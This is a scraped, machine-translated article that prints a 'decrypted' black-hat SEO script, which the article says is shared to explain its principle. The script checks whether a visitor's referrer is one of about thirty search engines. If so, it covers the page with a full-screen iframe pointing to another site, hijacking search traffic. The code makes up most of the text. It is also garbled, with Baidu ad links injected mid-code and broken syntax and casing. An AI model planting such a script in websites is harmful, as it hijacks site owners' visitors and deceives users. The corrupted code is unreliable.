Black Hat SEO hijacking program, JS hijacked search engine Code _javascript skills

Today, when browsing the Web site inadvertently found this section of JS hijacked search engine code. Hijacked search engine normal search over the flow, this is the Black Hat seo commonly used hijacking method. Deliberately decrypted out for everyone to understand the principle of its hijacking.

Source Printing Help

<script language= "<span id=" 0_nwp "style=" Width:auto; Height:auto; Float:none; " ><a id= "0_NWL" href= "http://cpro.baidu.com/cpro/ui/uijs.php?adclass=0&app_id=0&c=news&cf=47 &ch=0&di=128&fv=17&is_app=0&jk=3703a16fbcaecbb6&k=javascript&k0=javascript& Kdi0=0&luki=8&n=10&p=baidu&q=77031027_cpr&rb=0&rs=1&seller_id=1&sid= b6cbaebc6fa10337&ssp2=1&stid=0&t=tpclicked3_hc&td=2268074&tu=u2268074&u=http%3a%2f% 2fwww%2e5ixuexiwang%2ecom%2fhtml%2fbiancheng%2fjs%2f2014%2f0704%2f2065%2ehtml&urlid=0 "target=" _blank "mpid= "0" style= "text-decoration:none;" ><span style= "color: #0000ff; font-size:12px;width:auto;height:auto;float:none;" >javascript</span></a></span> "> var _$ = [" Google "," AOL "," Yahoo "," Bing "," MSN "," HotBot "," Go "," SearchEngine "," AltaVista "," goto "," Excite "," Slider "," Musicsearch "," Lycos "," Look<span id= "1_nwp" style= " Width:auto; Height:aUTO; Float:none; " ><a id= "1_NWL" href= "http://cpro.baidu.com/cpro/ui/uijs.php?adclass=0&app_id=0&c=news&cf=47 &ch=0&di=128&fv=17&is_app=0&jk=3703a16fbcaecbb6&k=smart&k0=smart&kdi0=0& luki=3&n=10&p=baidu&q=77031027_cpr&rb=0&rs=1&seller_id=1&sid=b6cbaebc6fa10337& ssp2=1&stid=0&t=tpclicked3_hc&td=2268074&tu=u2268074&u=http%3a%2f%2fwww%2e5ixuexiwang% 2ecom%2fhtml%2fbiancheng%2fjs%2f2014%2f0704%2f2065%2ehtml&urlid=0 "target=" _blank "mpid=" 1 "style=" Text-decoration:none; " ><span style= "color: #0000ff; font-size:12px;width:auto;height:auto;float:none;" >smart</span></a></span> "," Netscape "," Search "," ask "," Mahalo "," Dogpile "," S-r "," WebCrawler " , "Yandex", "Splut", "Fireball", "WLW", "Suche", "Godado", "Tiscali", "Iltrovatore", "Abacho," "<div <span id=" 2_nwp "Style=" Width:auto; Height:auto; Float:none; " ><a id= "2_NWL" href= "HTTP://CPRO.BAIDU.COM/CPro/ui/uijs.php?adclass=0&app_id=0&c=news&cf=47&ch=0&di=128&fv=17&is_app=0&jk= 3703a16fbcaecbb6&k=style&k0=style&kdi0=0&luki=6&n=10&p=baidu&q=77031027_cpr&rb =0&rs=1&seller_id=1&sid=b6cbaebc6fa10337&ssp2=1&stid=0&t=tpclicked3_hc&td=2268074 &tu=u2268074&u=http%3a%2f%2fwww%2e5ixuexiwang%2ecom%2fhtml%2fbiancheng%2fjs%2f2014%2f0704%2f2065% 2ehtml&urlid=0 "target=" _blank "mpid=" 2 "style=" Text-decoration:none; ><span style= "color: #0000ff; font-size:12px;width:auto;height:auto;float:none;" >style</span></a></span>=\ "Z-index:10043;background-color: #ffffff; right:0px;position: Absolute;tex-align:center;width:100%;height:100%;top:0px;left:0px;\ "><iframe id=\" rf\ scrolling=\ "no\" Frameborder=\ "0\" style=\ "Width:100%;height:2043px;display:<span id=" 3_nwp "style=" Width:auto; Height:auto; Float:none; " ><a id= "3_NWL" href= "http://cpro.baidu.com/cpro/ui/uijs.php?"Adclass=0&app_id=0&c=news&cf=47&ch=0&di=128&fv=17&is_app=0&jk=3703a16fbcaecbb6 &k=block&k0=block&kdi0=0&luki=5&n=10&p=baidu&q=77031027_cpr&rb=0&rs=1& seller_id=1&sid=b6cbaebc6fa10337&ssp2=1&stid=0&t=tpclicked3_hc&td=2268074&tu=u2268074 &u=http%3a%2f%2fwww%2e5ixuexiwang%2ecom%2fhtml%2fbiancheng%2fjs%2f2014%2f0704%2f2065%2ehtml&urlid=0 " target= "_blank" mpid= "3" style= "Text-decoration:none;" ><span style= "color: #0000ff; font-size:12px;width:auto;height:auto;float:none;" >block</span></a></span>;visibility:visible;\ "<span id=" 4_nwp "style=" Width:auto; Height:auto; Float:none; " ><a id= "4_NWL" href= "http://cpro.baidu.com/cpro/ui/uijs.php?adclass=0&app_id=0&c=news&cf=47 &ch=0&di=128&fv=17&is_app=0&jk=3703a16fbcaecbb6&k=src&k0=src&kdi0=0&luki=4 &n=10&p=baidu&q=77031027_cpr&rb=0&rs=1&seller_id=1&sid=b6cbaebc6fa10337&ssp2=1&stid=0&t=tpclicked3_hc&td=2268074&tu=u2268074&u= Http%3a%2f%2fwww%2e5ixuexiwang%2ecom%2fhtml%2fbiancheng%2fjs%2f2014%2f0704%2f2065%2ehtml&urlid=0 "Target=" _ Blank "mpid=" 4 "style=" Text-decoration:none; ><span style= "color: #0000ff; font-size:12px;width:auto;height:auto;float:none;" >src</span></a></span>=\ "http://www.5ixuexiwang.com/\" allowtransparency=\ "true\" ></
Div> "];
var a = window["document" ["referrer"]; if (a["IndexOf"] (_$[0) > 0x0 | | a["INDEXOF"] (_$[1)) > 0x0 | | a["INDEXOF" (_$[2]) > 0x0 | | a["INDEXOF" (_$[3)) &G T 0x0 | | a["IndexOf"] (_$[4]) > 0x0 | | a["IndexOf"] (_$[5]) > 0x0 | | a["IndexOf"] (_$[6]) > 0x0 | | a["IndexOf"] (_$[7]) > 0x0 | | a["IndexOf"] (_$[8]) > 0x0 | | a["IndexOf"] (_$[9]) > 0x0 | | a["IndexOf"] (_$[10]) > 0x0 | | a["IndexOf"] (_$[11]) > 0x0 | | a["IndexOf"] (_$[12]) > 0x0 | | a["IndexOf"] (_$[13]) > 0x0 | | a["IndexOf"] (_$[14]) > 0x0 || a["IndexOf"] (_$[15]) > 0x0 | | a["IndexOf"] (_$[16]) > 0x0 | | a["IndexOf"] (_$[17]) > 0x0 | | a["IndexOf"] (_$[18]) > 0x0 | | a["IndexOf"] (_$[19]) > 0x0 | | a["IndexOf"] (_$[20]) > 0x0 | | a["IndexOf"] (_$[21]) > 0x0 | | a["IndexOf"] (_$[22]) > 0x0 | | a["IndexOf"] (_$[23]) > 0x0 | | a["IndexOf"] (_$[24]) > 0x0 | | a["IndexOf"] (_$[25]) > 0x0 | | a["IndexOf"] (_$[26]) > 0x0 | | a["IndexOf"] (_$[27]) > 0x0 | | a["IndexOf"] (_$[28]) > 0x0 | | a["IndexOf"] (_$[29]) > 0x0 | |

 a["IndexOf"] (_$[30]) > 0x0) {window["document"] ["Writeln"] (_$[31])} </SCRIPT>

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